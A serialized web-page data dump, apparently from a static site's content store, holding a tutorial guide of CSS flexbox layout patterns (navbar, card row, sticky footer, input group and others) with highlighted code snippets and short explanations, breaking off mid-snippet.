.sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}",{"title":141,"searchDepth":337,"depth":337,"links":32130},[32131,32132,32133,32137,32141,32142,32145,32146,32147,32148],{"id":31617,"depth":337,"text":31618},{"id":31627,"depth":337,"text":31628},{"id":31709,"depth":337,"text":31710,"children":32134},[32135,32136],{"id":31716,"depth":343,"text":31717},{"id":31770,"depth":343,"text":31771},{"id":31830,"depth":337,"text":31831,"children":32138},[32139,32140],{"id":31837,"depth":343,"text":31838},{"id":31885,"depth":343,"text":31886},{"id":31903,"depth":337,"text":31904},{"id":31963,"depth":337,"text":31964,"children":32143},[32144],{"id":31970,"depth":343,"text":31971},{"id":32044,"depth":337,"text":32045},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Build an efficient color selection workflow — from inspiration to palette, format conversion, accessibility checks, and handoff to developers.",{"immutable":363},"\u002Fguides\u002Fcolor-picker-workflow-designers",{"title":31612,"description":32149},"guides\u002Fcolor-picker-workflow-designers","xbKnce8h9OIWWg_UsKoCnIzeAGtiY4Oso5oNPkPRNuQ",{"id":32156,"title":32157,"body":32158,"date":2070,"description":33667,"extension":361,"meta":33668,"navigation":363,"path":33669,"readingTime":1710,"seo":33670,"stem":33671,"__hash__":33672},"guides\u002Fguides\u002Fcommon-flexbox-layouts-code.md","Common Flexbox Layouts with Code",{"type":8,"value":32159,"toc":33654},[32160,32164,32167,32364,32373,32377,32380,32478,32490,32494,32497,32634,32653,32657,32660,32765,32773,32777,32780,32849,32861,32865,32868,33009,33023,33027,33030,33267,33281,33285,33288,33440,33455,33459,33462,33584,33592,33594,33641,33643,33651],[11,32161,32163],{"id":32162},"navigation-bar","Navigation Bar",[16,32165,32166],{},"A horizontal navbar with logo on the left, links in the center, and a CTA button on the right.",[135,32168,32170],{"className":1554,"code":32169,"language":1556,"meta":141,"style":141},".navbar {\n  display: flex;\n  align-items: center;\n  padding: 0 1.5rem;\n  height: 64px;\n  gap: 1rem;\n}\n\n.navbar-logo {\n  flex-shrink: 0; \u002F* Never compress the logo *\u002F\n}\n\n.navbar-links {\n  flex: 1; \u002F* Take all remaining space *\u002F\n  display: flex;\n  justify-content: center;\n  gap: 1.5rem;\n}\n\n.navbar-cta {\n  flex-shrink: 0;\n}\n",[143,32171,32172,32179,32190,32202,32218,32231,32244,32248,32252,32259,32273,32277,32281,32288,32302,32312,32323,32335,32339,32343,32350,32360],{"__ignoreMap":141},[1560,32173,32174,32177],{"class":1562,"line":1563},[1560,32175,32176],{"class":1566},".navbar",[1560,32178,1571],{"class":1570},[1560,32180,32181,32183,32185,32188],{"class":1562,"line":337},[1560,32182,12504],{"class":1576},[1560,32184,1663],{"class":1570},[1560,32186,32187],{"class":1576},"flex",[1560,32189,2228],{"class":1570},[1560,32191,32192,32195,32197,32200],{"class":1562,"line":343},[1560,32193,32194],{"class":1576},"  align-items",[1560,32196,1663],{"class":1570},[1560,32198,32199],{"class":1576},"center",[1560,32201,2228],{"class":1570},[1560,32203,32204,32206,32208,32210,32213,32216],{"class":1562,"line":365},[1560,32205,18186],{"class":1576},[1560,32207,1663],{"class":1570},[1560,32209,5285],{"class":1576},[1560,32211,32212],{"class":1576}," 1.5",[1560,32214,32215],{"class":1669},"rem",[1560,32217,2228],{"class":1570},[1560,32219,32220,32222,32224,32227,32229],{"class":1562,"line":889},[1560,32221,12400],{"class":1576},[1560,32223,1663],{"class":1570},[1560,32225,32226],{"class":1576},"64",[1560,32228,1670],{"class":1669},[1560,32230,2228],{"class":1570},[1560,32232,32233,32236,32238,32240,32242],{"class":1562,"line":1710},[1560,32234,32235],{"class":1576},"  gap",[1560,32237,1663],{"class":1570},[1560,32239,3585],{"class":1576},[1560,32241,32215],{"class":1669},[1560,32243,2228],{"class":1570},[1560,32245,32246],{"class":1562,"line":1717},[1560,32247,1585],{"class":1570},[1560,32249,32250],{"class":1562,"line":1747},[1560,32251,1702],{"emptyLinePlaceholder":363},[1560,32253,32254,32257],{"class":1562,"line":2507},[1560,32255,32256],{"class":1566},".navbar-logo",[1560,32258,1571],{"class":1570},[1560,32260,32261,32264,32266,32268,32270],{"class":1562,"line":2524},[1560,32262,32263],{"class":1576},"  flex-shrink",[1560,32265,1663],{"class":1570},[1560,32267,5285],{"class":1576},[1560,32269,3664],{"class":1570},[1560,32271,32272],{"class":1649},"\u002F* Never compress the logo *\u002F\n",[1560,32274,32275],{"class":1562,"line":2529},[1560,32276,1585],{"class":1570},[1560,32278,32279],{"class":1562,"line":2534},[1560,32280,1702],{"emptyLinePlaceholder":363},[1560,32282,32283,32286],{"class":1562,"line":2542},[1560,32284,32285],{"class":1566},".navbar-links",[1560,32287,1571],{"class":1570},[1560,32289,32290,32293,32295,32297,32299],{"class":1562,"line":2558},[1560,32291,32292],{"class":1576},"  flex",[1560,32294,1663],{"class":1570},[1560,32296,3585],{"class":1576},[1560,32298,3664],{"class":1570},[1560,32300,32301],{"class":1649},"\u002F* Take all remaining space *\u002F\n",[1560,32303,32304,32306,32308,32310],{"class":1562,"line":2570},[1560,32305,12504],{"class":1576},[1560,32307,1663],{"class":1570},[1560,32309,32187],{"class":1576},[1560,32311,2228],{"class":1570},[1560,32313,32314,32317,32319,32321],{"class":1562,"line":6638},[1560,32315,32316],{"class":1576},"  justify-content",[1560,32318,1663],{"class":1570},[1560,32320,32199],{"class":1576},[1560,32322,2228],{"class":1570},[1560,32324,32325,32327,32329,32331,32333],{"class":1562,"line":11615},[1560,32326,32235],{"class":1576},[1560,32328,1663],{"class":1570},[1560,32330,18515],{"class":1576},[1560,32332,32215],{"class":1669},[1560,32334,2228],{"class":1570},[1560,32336,32337],{"class":1562,"line":11621},[1560,32338,1585],{"class":1570},[1560,32340,32341],{"class":1562,"line":11633},[1560,32342,1702],{"emptyLinePlaceholder":363},[1560,32344,32345,32348],{"class":1562,"line":11638},[1560,32346,32347],{"class":1566},".navbar-cta",[1560,32349,1571],{"class":1570},[1560,32351,32352,32354,32356,32358],{"class":1562,"line":11672},[1560,32353,32263],{"class":1576},[1560,32355,1663],{"class":1570},[1560,32357,5285],{"class":1576},[1560,32359,2228],{"class":1570},[1560,32361,32362],{"class":1562,"line":19435},[1560,32363,1585],{"class":1570},[16,32365,32366,1663,32369,32372],{},[47,32367,32368],{},"Why it works",[143,32370,32371],{},"flex: 1"," on the links container absorbs all horizontal space between logo and button, centering the navigation links regardless of outer element widths.",[11,32374,32376],{"id":32375},"card-row-with-wrapping","Card Row with Wrapping",[16,32378,32379],{},"Equal-width cards that wrap on smaller screens.",[135,32381,32383],{"className":1554,"code":32382,"language":1556,"meta":141,"style":141},".card-row {\n  display: flex;\n  flex-wrap: wrap;\n  gap: 1.5rem;\n}\n\n.card {\n  flex: 1 1 300px; \u002F* Grow, shrink, minimum 300px *\u002F\n  min-width: 0;    \u002F* Allow content to truncate *\u002F\n}\n",[143,32384,32385,32392,32402,32414,32426,32430,32434,32440,32460,32474],{"__ignoreMap":141},[1560,32386,32387,32390],{"class":1562,"line":1563},[1560,32388,32389],{"class":1566},".card-row",[1560,32391,1571],{"class":1570},[1560,32393,32394,32396,32398,32400],{"class":1562,"line":337},[1560,32395,12504],{"class":1576},[1560,32397,1663],{"class":1570},[1560,32399,32187],{"class":1576},[1560,32401,2228],{"class":1570},[1560,32403,32404,32407,32409,32412],{"class":1562,"line":343},[1560,32405,32406],{"class":1576},"  flex-wrap",[1560,32408,1663],{"class":1570},[1560,32410,32411],{"class":1576},"wrap",[1560,32413,2228],{"class":1570},[1560,32415,32416,32418,32420,32422,32424],{"class":1562,"line":365},[1560,32417,32235],{"class":1576},[1560,32419,1663],{"class":1570},[1560,32421,18515],{"class":1576},[1560,32423,32215],{"class":1669},[1560,32425,2228],{"class":1570},[1560,32427,32428],{"class":1562,"line":889},[1560,32429,1585],{"class":1570},[1560,32431,32432],{"class":1562,"line":1710},[1560,32433,1702],{"emptyLinePlaceholder":363},[1560,32435,32436,32438],{"class":1562,"line":1717},[1560,32437,1567],{"class":1566},[1560,32439,1571],{"class":1570},[1560,32441,32442,32444,32446,32448,32450,32453,32455,32457],{"class":1562,"line":1747},[1560,32443,32292],{"class":1576},[1560,32445,1663],{"class":1570},[1560,32447,3585],{"class":1576},[1560,32449,18868],{"class":1576},[1560,32451,32452],{"class":1576}," 300",[1560,32454,1670],{"class":1669},[1560,32456,3664],{"class":1570},[1560,32458,32459],{"class":1649},"\u002F* Grow, shrink, minimum 300px *\u002F\n",[1560,32461,32462,32465,32467,32469,32471],{"class":1562,"line":2507},[1560,32463,32464],{"class":1576},"  min-width",[1560,32466,1663],{"class":1570},[1560,32468,5285],{"class":1576},[1560,32470,3393],{"class":1570},[1560,32472,32473],{"class":1649},"\u002F* Allow content to truncate *\u002F\n",[1560,32475,32476],{"class":1562,"line":2524},[1560,32477,1585],{"class":1570},[16,32479,32480,1663,32482,32485,32486,32489],{},[47,32481,32368],{},[143,32483,32484],{},"flex-basis: 300px"," sets the minimum starting width. Items grow to fill remaining space (",[143,32487,32488],{},"flex-grow: 1","). When fewer than 300px of space remains, items wrap to the next line.",[11,32491,32493],{"id":32492},"media-object-icon-text","Media Object (Icon + Text)",[16,32495,32496],{},"An icon or avatar on the left, text content on the right. The text wraps normally while the icon stays fixed.",[135,32498,32500],{"className":1554,"code":32499,"language":1556,"meta":141,"style":141},".media {\n  display: flex;\n  gap: 1rem;\n  align-items: flex-start;\n}\n\n.media-icon {\n  flex-shrink: 0;\n  width: 48px;\n  height: 48px;\n}\n\n.media-body {\n  flex: 1;\n  min-width: 0; \u002F* Allow text truncation inside *\u002F\n}\n",[143,32501,32502,32509,32519,32531,32542,32546,32550,32557,32567,32580,32592,32596,32600,32607,32617,32630],{"__ignoreMap":141},[1560,32503,32504,32507],{"class":1562,"line":1563},[1560,32505,32506],{"class":1566},".media",[1560,32508,1571],{"class":1570},[1560,32510,32511,32513,32515,32517],{"class":1562,"line":337},[1560,32512,12504],{"class":1576},[1560,32514,1663],{"class":1570},[1560,32516,32187],{"class":1576},[1560,32518,2228],{"class":1570},[1560,32520,32521,32523,32525,32527,32529],{"class":1562,"line":343},[1560,32522,32235],{"class":1576},[1560,32524,1663],{"class":1570},[1560,32526,3585],{"class":1576},[1560,32528,32215],{"class":1669},[1560,32530,2228],{"class":1570},[1560,32532,32533,32535,32537,32540],{"class":1562,"line":365},[1560,32534,32194],{"class":1576},[1560,32536,1663],{"class":1570},[1560,32538,32539],{"class":1576},"flex-start",[1560,32541,2228],{"class":1570},[1560,32543,32544],{"class":1562,"line":889},[1560,32545,1585],{"class":1570},[1560,32547,32548],{"class":1562,"line":1710},[1560,32549,1702],{"emptyLinePlaceholder":363},[1560,32551,32552,32555],{"class":1562,"line":1717},[1560,32553,32554],{"class":1566},".media-icon",[1560,32556,1571],{"class":1570},[1560,32558,32559,32561,32563,32565],{"class":1562,"line":1747},[1560,32560,32263],{"class":1576},[1560,32562,1663],{"class":1570},[1560,32564,5285],{"class":1576},[1560,32566,2228],{"class":1570},[1560,32568,32569,32571,32573,32576,32578],{"class":1562,"line":2507},[1560,32570,12386],{"class":1576},[1560,32572,1663],{"class":1570},[1560,32574,32575],{"class":1576},"48",[1560,32577,1670],{"class":1669},[1560,32579,2228],{"class":1570},[1560,32581,32582,32584,32586,32588,32590],{"class":1562,"line":2524},[1560,32583,12400],{"class":1576},[1560,32585,1663],{"class":1570},[1560,32587,32575],{"class":1576},[1560,32589,1670],{"class":1669},[1560,32591,2228],{"class":1570},[1560,32593,32594],{"class":1562,"line":2529},[1560,32595,1585],{"class":1570},[1560,32597,32598],{"class":1562,"line":2534},[1560,32599,1702],{"emptyLinePlaceholder":363},[1560,32601,32602,32605],{"class":1562,"line":2542},[1560,32603,32604],{"class":1566},".media-body",[1560,32606,1571],{"class":1570},[1560,32608,32609,32611,32613,32615],{"class":1562,"line":2558},[1560,32610,32292],{"class":1576},[1560,32612,1663],{"class":1570},[1560,32614,3585],{"class":1576},[1560,32616,2228],{"class":1570},[1560,32618,32619,32621,32623,32625,32627],{"class":1562,"line":2570},[1560,32620,32464],{"class":1576},[1560,32622,1663],{"class":1570},[1560,32624,5285],{"class":1576},[1560,32626,3664],{"class":1570},[1560,32628,32629],{"class":1649},"\u002F* Allow text truncation inside *\u002F\n",[1560,32631,32632],{"class":1562,"line":6638},[1560,32633,1585],{"class":1570},[16,32635,32636,1663,32638,32641,32642,32644,32645,32648,32649,32652],{},[47,32637,32368],{},[143,32639,32640],{},"flex-shrink: 0"," prevents the icon from compressing. ",[143,32643,32371],{}," lets the text body take all remaining space. ",[143,32646,32647],{},"min-width: 0"," allows ",[143,32650,32651],{},"text-overflow: ellipsis"," to work on children.",[11,32654,32656],{"id":32655},"sticky-footer","Sticky Footer",[16,32658,32659],{},"A page layout where the footer always sticks to the bottom even when content is short.",[135,32661,32663],{"className":1554,"code":32662,"language":1556,"meta":141,"style":141},".page {\n  display: flex;\n  flex-direction: column;\n  min-height: 100vh;\n}\n\n.page-content {\n  flex: 1; \u002F* Expand to fill remaining space *\u002F\n}\n\n.page-footer {\n  flex-shrink: 0;\n}\n",[143,32664,32665,32672,32682,32694,32708,32712,32716,32723,32736,32740,32744,32751,32761],{"__ignoreMap":141},[1560,32666,32667,32670],{"class":1562,"line":1563},[1560,32668,32669],{"class":1566},".page",[1560,32671,1571],{"class":1570},[1560,32673,32674,32676,32678,32680],{"class":1562,"line":337},[1560,32675,12504],{"class":1576},[1560,32677,1663],{"class":1570},[1560,32679,32187],{"class":1576},[1560,32681,2228],{"class":1570},[1560,32683,32684,32687,32689,32692],{"class":1562,"line":343},[1560,32685,32686],{"class":1576},"  flex-direction",[1560,32688,1663],{"class":1570},[1560,32690,32691],{"class":1576},"column",[1560,32693,2228],{"class":1570},[1560,32695,32696,32699,32701,32703,32706],{"class":1562,"line":365},[1560,32697,32698],{"class":1576},"  min-height",[1560,32700,1663],{"class":1570},[1560,32702,18114],{"class":1576},[1560,32704,32705],{"class":1669},"vh",[1560,32707,2228],{"class":1570},[1560,32709,32710],{"class":1562,"line":889},[1560,32711,1585],{"class":1570},[1560,32713,32714],{"class":1562,"line":1710},[1560,32715,1702],{"emptyLinePlaceholder":363},[1560,32717,32718,32721],{"class":1562,"line":1717},[1560,32719,32720],{"class":1566},".page-content",[1560,32722,1571],{"class":1570},[1560,32724,32725,32727,32729,32731,32733],{"class":1562,"line":1747},[1560,32726,32292],{"class":1576},[1560,32728,1663],{"class":1570},[1560,32730,3585],{"class":1576},[1560,32732,3664],{"class":1570},[1560,32734,32735],{"class":1649},"\u002F* Expand to fill remaining space *\u002F\n",[1560,32737,32738],{"class":1562,"line":2507},[1560,32739,1585],{"class":1570},[1560,32741,32742],{"class":1562,"line":2524},[1560,32743,1702],{"emptyLinePlaceholder":363},[1560,32745,32746,32749],{"class":1562,"line":2529},[1560,32747,32748],{"class":1566},".page-footer",[1560,32750,1571],{"class":1570},[1560,32752,32753,32755,32757,32759],{"class":1562,"line":2534},[1560,32754,32263],{"class":1576},[1560,32756,1663],{"class":1570},[1560,32758,5285],{"class":1576},[1560,32760,2228],{"class":1570},[1560,32762,32763],{"class":1562,"line":2542},[1560,32764,1585],{"class":1570},[16,32766,32767,32769,32770,32772],{},[47,32768,32368],{},": The column flex container stretches to the full viewport height. ",[143,32771,32371],{}," on the content area absorbs all vertical space between the header and footer, pushing the footer to the bottom.",[11,32774,32776],{"id":32775},"centered-hero-section","Centered Hero Section",[16,32778,32779],{},"Perfect horizontal and vertical centering — the most iconic flexbox use case.",[135,32781,32783],{"className":1554,"code":32782,"language":1556,"meta":141,"style":141},".hero {\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  min-height: 80vh;\n  text-align: center;\n}\n",[143,32784,32785,32792,32802,32812,32822,32834,32845],{"__ignoreMap":141},[1560,32786,32787,32790],{"class":1562,"line":1563},[1560,32788,32789],{"class":1566},".hero",[1560,32791,1571],{"class":1570},[1560,32793,32794,32796,32798,32800],{"class":1562,"line":337},[1560,32795,12504],{"class":1576},[1560,32797,1663],{"class":1570},[1560,32799,32187],{"class":1576},[1560,32801,2228],{"class":1570},[1560,32803,32804,32806,32808,32810],{"class":1562,"line":343},[1560,32805,32316],{"class":1576},[1560,32807,1663],{"class":1570},[1560,32809,32199],{"class":1576},[1560,32811,2228],{"class":1570},[1560,32813,32814,32816,32818,32820],{"class":1562,"line":365},[1560,32815,32194],{"class":1576},[1560,32817,1663],{"class":1570},[1560,32819,32199],{"class":1576},[1560,32821,2228],{"class":1570},[1560,32823,32824,32826,32828,32830,32832],{"class":1562,"line":889},[1560,32825,32698],{"class":1576},[1560,32827,1663],{"class":1570},[1560,32829,5321],{"class":1576},[1560,32831,32705],{"class":1669},[1560,32833,2228],{"class":1570},[1560,32835,32836,32839,32841,32843],{"class":1562,"line":1710},[1560,32837,32838],{"class":1576},"  text-align",[1560,32840,1663],{"class":1570},[1560,32842,32199],{"class":1576},[1560,32844,2228],{"class":1570},[1560,32846,32847],{"class":1562,"line":1717},[1560,32848,1585],{"class":1570},[16,32850,32851,1663,32853,32856,32857,32860],{},[47,32852,32368],{},[143,32854,32855],{},"justify-content: center"," centers along the main axis (horizontal by default). ",[143,32858,32859],{},"align-items: center"," centers along the cross axis (vertical). Two properties replace margin hacks and absolute positioning.",[11,32862,32864],{"id":32863},"split-layout-5050","Split Layout (50\u002F50)",[16,32866,32867],{},"Two equal columns with a divider gap.",[135,32869,32871],{"className":1554,"code":32870,"language":1556,"meta":141,"style":141},".split {\n  display: flex;\n  gap: 2rem;\n}\n\n.split > * {\n  flex: 1;\n  min-width: 0;\n}\n\n\u002F* Optional: different ratios *\u002F\n.split-uneven > :first-child {\n  flex: 2;\n}\n\n.split-uneven > :last-child {\n  flex: 1;\n}\n",[143,32872,32873,32880,32890,32902,32906,32910,32921,32931,32941,32945,32949,32954,32966,32976,32980,32984,32995,33005],{"__ignoreMap":141},[1560,32874,32875,32878],{"class":1562,"line":1563},[1560,32876,32877],{"class":1566},".split",[1560,32879,1571],{"class":1570},[1560,32881,32882,32884,32886,32888],{"class":1562,"line":337},[1560,32883,12504],{"class":1576},[1560,32885,1663],{"class":1570},[1560,32887,32187],{"class":1576},[1560,32889,2228],{"class":1570},[1560,32891,32892,32894,32896,32898,32900],{"class":1562,"line":343},[1560,32893,32235],{"class":1576},[1560,32895,1663],{"class":1570},[1560,32897,10099],{"class":1576},[1560,32899,32215],{"class":1669},[1560,32901,2228],{"class":1570},[1560,32903,32904],{"class":1562,"line":365},[1560,32905,1585],{"class":1570},[1560,32907,32908],{"class":1562,"line":889},[1560,32909,1702],{"emptyLinePlaceholder":363},[1560,32911,32912,32914,32917,32919],{"class":1562,"line":1710},[1560,32913,32877],{"class":1566},[1560,32915,32916],{"class":1669}," >",[1560,32918,8064],{"class":2484},[1560,32920,1571],{"class":1570},[1560,32922,32923,32925,32927,32929],{"class":1562,"line":1717},[1560,32924,32292],{"class":1576},[1560,32926,1663],{"class":1570},[1560,32928,3585],{"class":1576},[1560,32930,2228],{"class":1570},[1560,32932,32933,32935,32937,32939],{"class":1562,"line":1747},[1560,32934,32464],{"class":1576},[1560,32936,1663],{"class":1570},[1560,32938,5285],{"class":1576},[1560,32940,2228],{"class":1570},[1560,32942,32943],{"class":1562,"line":2507},[1560,32944,1585],{"class":1570},[1560,32946,32947],{"class":1562,"line":2524},[1560,32948,1702],{"emptyLinePlaceholder":363},[1560,32950,32951],{"class":1562,"line":2529},[1560,32952,32953],{"class":1649},"\u002F* Optional: different ratios *\u002F\n",[1560,32955,32956,32959,32961,32964],{"class":1562,"line":2534},[1560,32957,32958],{"class":1566},".split-uneven",[1560,32960,32916],{"class":1669},[1560,32962,32963],{"class":1566}," :first-child",[1560,32965,1571],{"class":1570},[1560,32967,32968,32970,32972,32974],{"class":1562,"line":2542},[1560,32969,32292],{"class":1576},[1560,32971,1663],{"class":1570},[1560,32973,10099],{"class":1576},[1560,32975,2228],{"class":1570},[1560,32977,32978],{"class":1562,"line":2558},[1560,32979,1585],{"class":1570},[1560,32981,32982],{"class":1562,"line":2570},[1560,32983,1702],{"emptyLinePlaceholder":363},[1560,32985,32986,32988,32990,32993],{"class":1562,"line":6638},[1560,32987,32958],{"class":1566},[1560,32989,32916],{"class":1669},[1560,32991,32992],{"class":1566}," :last-child",[1560,32994,1571],{"class":1570},[1560,32996,32997,32999,33001,33003],{"class":1562,"line":11615},[1560,32998,32292],{"class":1576},[1560,33000,1663],{"class":1570},[1560,33002,3585],{"class":1576},[1560,33004,2228],{"class":1570},[1560,33006,33007],{"class":1562,"line":11621},[1560,33008,1585],{"class":1570},[16,33010,33011,1663,33013,33015,33016,33019,33020,33022],{},[47,33012,32368],{},[143,33014,32371],{}," distributes space equally. For uneven splits, different ",[143,33017,33018],{},"flex-grow"," values set the ratio. ",[143,33021,32647],{}," prevents content overflow in either column.",[11,33024,33026],{"id":33025},"input-group-label-input-button","Input Group (Label + Input + Button)",[16,33028,33029],{},"A search bar with a label, text input, and submit button in a single row.",[135,33031,33033],{"className":1554,"code":33032,"language":1556,"meta":141,"style":141},".input-group {\n  display: flex;\n  gap: 0;\n  align-items: stretch;\n}\n\n.input-group label {\n  flex-shrink: 0;\n  padding: 0.5rem 0.75rem;\n  background: #f3f4f6;\n  border: 1px solid #d1d5db;\n  border-right: none;\n}\n\n.input-group input {\n  flex: 1;\n  min-width: 0;\n  padding: 0.5rem;\n  border: 1px solid #d1d5db;\n}\n\n.input-group button {\n  flex-shrink: 0;\n  padding: 0.5rem 1rem;\n}\n",[143,33034,33035,33042,33052,33062,33073,33077,33081,33090,33100,33117,33127,33144,33155,33159,33163,33172,33182,33192,33204,33220,33224,33228,33237,33247,33263],{"__ignoreMap":141},[1560,33036,33037,33040],{"class":1562,"line":1563},[1560,33038,33039],{"class":1566},".input-group",[1560,33041,1571],{"class":1570},[1560,33043,33044,33046,33048,33050],{"class":1562,"line":337},[1560,33045,12504],{"class":1576},[1560,33047,1663],{"class":1570},[1560,33049,32187],{"class":1576},[1560,33051,2228],{"class":1570},[1560,33053,33054,33056,33058,33060],{"class":1562,"line":343},[1560,33055,32235],{"class":1576},[1560,33057,1663],{"class":1570},[1560,33059,5285],{"class":1576},[1560,33061,2228],{"class":1570},[1560,33063,33064,33066,33068,33071],{"class":1562,"line":365},[1560,33065,32194],{"class":1576},[1560,33067,1663],{"class":1570},[1560,33069,33070],{"class":1576},"stretch",[1560,33072,2228],{"class":1570},[1560,33074,33075],{"class":1562,"line":889},[1560,33076,1585],{"class":1570},[1560,33078,33079],{"class":1562,"line":1710},[1560,33080,1702],{"emptyLinePlaceholder":363},[1560,33082,33083,33085,33088],{"class":1562,"line":1717},[1560,33084,33039],{"class":1566},[1560,33086,33087],{"class":2484}," label",[1560,33089,1571],{"class":1570},[1560,33091,33092,33094,33096,33098],{"class":1562,"line":1747},[1560,33093,32263],{"class":1576},[1560,33095,1663],{"class":1570},[1560,33097,5285],{"class":1576},[1560,33099,2228],{"class":1570},[1560,33101,33102,33104,33106,33108,33110,33113,33115],{"class":1562,"line":2507},[1560,33103,18186],{"class":1576},[1560,33105,1663],{"class":1570},[1560,33107,5687],{"class":1576},[1560,33109,32215],{"class":1669},[1560,33111,33112],{"class":1576}," 0.75",[1560,33114,32215],{"class":1669},[1560,33116,2228],{"class":1570},[1560,33118,33119,33121,33123,33125],{"class":1562,"line":2524},[1560,33120,5665],{"class":1576},[1560,33122,1663],{"class":1570},[1560,33124,4113],{"class":1576},[1560,33126,2228],{"class":1570},[1560,33128,33129,33131,33133,33135,33137,33139,33142],{"class":1562,"line":2529},[1560,33130,3580],{"class":1576},[1560,33132,1663],{"class":1570},[1560,33134,3585],{"class":1576},[1560,33136,1670],{"class":1669},[1560,33138,3590],{"class":1576},[1560,33140,33141],{"class":1576}," #d1d5db",[1560,33143,2228],{"class":1570},[1560,33145,33146,33149,33151,33153],{"class":1562,"line":2534},[1560,33147,33148],{"class":1576},"  border-right",[1560,33150,1663],{"class":1570},[1560,33152,24609],{"class":1576},[1560,33154,2228],{"class":1570},[1560,33156,33157],{"class":1562,"line":2542},[1560,33158,1585],{"class":1570},[1560,33160,33161],{"class":1562,"line":2558},[1560,33162,1702],{"emptyLinePlaceholder":363},[1560,33164,33165,33167,33170],{"class":1562,"line":2570},[1560,33166,33039],{"class":1566},[1560,33168,33169],{"class":2484}," input",[1560,33171,1571],{"class":1570},[1560,33173,33174,33176,33178,33180],{"class":1562,"line":6638},[1560,33175,32292],{"class":1576},[1560,33177,1663],{"class":1570},[1560,33179,3585],{"class":1576},[1560,33181,2228],{"class":1570},[1560,33183,33184,33186,33188,33190],{"class":1562,"line":11615},[1560,33185,32464],{"class":1576},[1560,33187,1663],{"class":1570},[1560,33189,5285],{"class":1576},[1560,33191,2228],{"class":1570},[1560,33193,33194,33196,33198,33200,33202],{"class":1562,"line":11621},[1560,33195,18186],{"class":1576},[1560,33197,1663],{"class":1570},[1560,33199,5687],{"class":1576},[1560,33201,32215],{"class":1669},[1560,33203,2228],{"class":1570},[1560,33205,33206,33208,33210,33212,33214,33216,33218],{"class":1562,"line":11633},[1560,33207,3580],{"class":1576},[1560,33209,1663],{"class":1570},[1560,33211,3585],{"class":1576},[1560,33213,1670],{"class":1669},[1560,33215,3590],{"class":1576},[1560,33217,33141],{"class":1576},[1560,33219,2228],{"class":1570},[1560,33221,33222],{"class":1562,"line":11638},[1560,33223,1585],{"class":1570},[1560,33225,33226],{"class":1562,"line":11672},[1560,33227,1702],{"emptyLinePlaceholder":363},[1560,33229,33230,33232,33235],{"class":1562,"line":19435},[1560,33231,33039],{"class":1566},[1560,33233,33234],{"class":2484}," button",[1560,33236,1571],{"class":1570},[1560,33238,33239,33241,33243,33245],{"class":1562,"line":19442},[1560,33240,32263],{"class":1576},[1560,33242,1663],{"class":1570},[1560,33244,5285],{"class":1576},[1560,33246,2228],{"class":1570},[1560,33248,33249,33251,33253,33255,33257,33259,33261],{"class":1562,"line":19475},[1560,33250,18186],{"class":1576},[1560,33252,1663],{"class":1570},[1560,33254,5687],{"class":1576},[1560,33256,32215],{"class":1669},[1560,33258,18868],{"class":1576},[1560,33260,32215],{"class":1669},[1560,33262,2228],{"class":1570},[1560,33264,33265],{"class":1562,"line":19508},[1560,33266,1585],{"class":1570},[16,33268,33269,1663,33271,33273,33274,33276,33277,33280],{},[47,33270,32368],{},[143,33272,32371],{}," on the input makes it stretch to fill available space. ",[143,33275,32640],{}," on label and button prevents them from compressing. ",[143,33278,33279],{},"align-items: stretch"," makes all elements the same height.",[11,33282,33284],{"id":33283},"tag-list-with-overflow","Tag List with Overflow",[16,33286,33287],{},"A row of tags that scrolls horizontally when there are too many.",[135,33289,33291],{"className":1554,"code":33290,"language":1556,"meta":141,"style":141},".tag-list {\n  display: flex;\n  gap: 0.5rem;\n  overflow-x: auto;\n  padding-bottom: 0.5rem;\n}\n\n.tag {\n  flex-shrink: 0;\n  padding: 0.25rem 0.75rem;\n  border-radius: 9999px;\n  background: #e5e7eb;\n  font-size: 0.875rem;\n  white-space: nowrap;\n}\n",[143,33292,33293,33300,33310,33322,33334,33347,33351,33355,33362,33372,33388,33400,33410,33424,33436],{"__ignoreMap":141},[1560,33294,33295,33298],{"class":1562,"line":1563},[1560,33296,33297],{"class":1566},".tag-list",[1560,33299,1571],{"class":1570},[1560,33301,33302,33304,33306,33308],{"class":1562,"line":337},[1560,33303,12504],{"class":1576},[1560,33305,1663],{"class":1570},[1560,33307,32187],{"class":1576},[1560,33309,2228],{"class":1570},[1560,33311,33312,33314,33316,33318,33320],{"class":1562,"line":343},[1560,33313,32235],{"class":1576},[1560,33315,1663],{"class":1570},[1560,33317,5687],{"class":1576},[1560,33319,32215],{"class":1669},[1560,33321,2228],{"class":1570},[1560,33323,33324,33327,33329,33332],{"class":1562,"line":365},[1560,33325,33326],{"class":1576},"  overflow-x",[1560,33328,1663],{"class":1570},[1560,33330,33331],{"class":1576},"auto",[1560,33333,2228],{"class":1570},[1560,33335,33336,33339,33341,33343,33345],{"class":1562,"line":889},[1560,33337,33338],{"class":1576},"  